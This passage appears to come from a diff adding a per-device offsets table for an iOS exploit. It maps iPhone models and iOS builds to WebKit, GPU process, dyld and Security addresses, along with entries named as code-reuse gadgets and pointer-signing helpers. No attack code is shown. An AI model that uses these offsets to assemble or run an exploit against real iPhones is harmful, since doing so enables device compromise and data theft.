ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be660n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be668n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be670n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be678n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ed3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a180n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a178n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a160n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5790n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfc9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cac58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ec0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,7_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf498n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadef80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeee0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadef30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec048n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be9b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be660n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be668n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be670n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be678n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ed3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a180n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a178n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a160n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5790n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfc9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cac58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ec0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,8_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf498n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadef80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeee0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadef30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec048n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be9b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be660n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be668n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be670n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be678n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ed3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a180n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a178n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a160n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5790n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfc9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cac58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ec0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,8_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf498n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadef80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeee0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadef30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec048n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be9b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be660n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be668n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be670n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be678n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ed3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a180n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a178n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a160n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5790n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfc9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cac58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9ec0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,8_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1ee8de058n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1ee8ddb40n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1ee8ddaa0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1ee8ddaf0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1ee8dcee8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f27ad3d8n, + AXCoreUtilities__DefaultLoader: 0x1ec59b9b0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ef76dea0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1ee7bd880n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ee6ead58n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x1be4044f0n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x1886ce850n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ee7bd8b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ee7bd560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ee7bd568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ee7bd570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ee7bd4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ee7bd578n, + ImageIO__gImageIOLogProc: 0x1ef7f8160n, + JavaScriptCore__globalFuncParseFloat: 0x19a5e52b0n, + JavaScriptCore__jitAllowList: 0x1ee93e4a0n, + JavaScriptCore__jitAllowList_once: 0x1ee93e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x2573a5e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ec18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1eeb904c8n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f21d4998n, + WebCore__PAL_getPKContactClass: 0x1eda62e78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1ec6b8818n, + WebCore__initPKContact_once: 0x1eda6b9b8n, + WebCore__initPKContact_value: 0x1eda6b9c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1ee869078n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1ee869070n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1ee869060n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1ef9844e8n, + WebProcess_ensureGPUProcessConnection: 0x198f16f90n, + WebProcess_gpuProcessConnectionClosed: 0x199862d04n, + WebProcess_singleton: 0x1eda5fdc0n, + __pthread_head: 0x269b08020n, + dyld__RuntimeState_emptySlot: 0x1a966f928n, + dyld__RuntimeState_vtable: 0x1f36bef48n, + dyld__dlopen_from_lambda_ret: 0x1a9651594n, + dyld__signPointer: 0x1a96591d0n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ee7a4690n, + gadget_control_1_ios184: 0x23f0da2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a1d2000n, + libARI_cstring: 0x218612820n, + libGPUCompilerImplLazy__invoker: 0x23ce7f7e8n, + libGPUCompilerImplLazy_cstring: 0x23b9be870n, + libdyld__dlopen: 0x1ad454658n, + libdyld__dlsym: 0x1ad4544d4n, + libdyld__gAPIs: 0x1ee3b8000n, + libsystem_c__atexit_mutex: 0x1ee6c9958n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ee6cedc0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone15,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae35d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae30c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3020n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3070n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2468n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + 